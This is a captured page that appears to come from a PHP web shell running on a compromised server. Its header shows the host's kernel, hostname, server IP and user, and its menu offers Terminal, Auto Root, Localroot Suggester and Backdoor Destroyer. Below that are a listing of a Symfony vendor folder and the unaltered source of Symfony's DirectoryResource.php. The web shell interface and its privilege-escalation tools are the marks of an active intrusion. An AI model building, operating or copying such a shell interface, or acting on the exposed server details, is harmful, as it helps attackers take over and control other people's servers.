Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.15.10.50
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
symfony /
config /
Resource /
Delete
Unzip
Name
Size
Permission
Date
Action
ClassExistenceResource.php
6.89
KB
-rw-rw-r--
2022-07-20 13:00
ComposerResource.php
1.55
KB
-rw-rw-r--
2022-07-20 13:00
DirectoryResource.php
2.64
KB
-rw-rw-r--
2022-07-20 13:00
FileExistenceResource.php
1.22
KB
-rw-rw-r--
2022-07-20 13:00
FileResource.php
1.45
KB
-rw-rw-r--
2022-07-20 13:00
GlobResource.php
7.76
KB
-rw-rw-r--
2022-07-20 13:00
ReflectionClassResource.php
9.06
KB
-rw-rw-r--
2022-07-20 13:00
ResourceInterface.php
956
B
-rw-rw-r--
2022-07-20 13:00
SelfCheckingResourceChecker.php
1.34
KB
-rw-rw-r--
2022-07-20 13:00
SelfCheckingResourceInterface.php
779
B
-rw-rw-r--
2022-07-20 13:00
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Config\Resource; /** * DirectoryResource represents a resources stored in a subdirectory tree. * * @author Fabien Potencier <fabien@symfony.com> * * @final */ class DirectoryResource implements SelfCheckingResourceInterface { private $resource; private $pattern; /** * @param string $resource The file path to the resource * @param string|null $pattern A pattern to restrict monitored files * * @throws \InvalidArgumentException */ public function __construct(string $resource, string $pattern = null) { $this->resource = realpath($resource) ?: (file_exists($resource) ? $resource : false); $this->pattern = $pattern; if (false === $this->resource || !is_dir($this->resource)) { throw new \InvalidArgumentException(sprintf('The directory "%s" does not exist.', $resource)); } } public function __toString(): string { return md5(serialize([$this->resource, $this->pattern])); } public function getResource(): string { return $this->resource; } public function getPattern(): ?string { return $this->pattern; } /** * {@inheritdoc} */ public function isFresh(int $timestamp): bool { if (!is_dir($this->resource)) { return false; } if ($timestamp < filemtime($this->resource)) { return false; } foreach (new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator($this->resource), \RecursiveIteratorIterator::SELF_FIRST) as $file) { // if regex filtering is enabled only check matching files if ($this->pattern && $file->isFile() && !preg_match($this->pattern, $file->getBasename())) { continue; } // always monitor directories for changes, except the .. entries // (otherwise deleted files wouldn't get detected) if ($file->isDir() && str_ends_with($file, '/..')) { continue; } // for broken links try { $fileMTime = $file->getMTime(); } catch (\RuntimeException $e) { continue; } // early return if a file's mtime exceeds the passed timestamp if ($timestamp < $fileMTime) { return false; } } return true; } }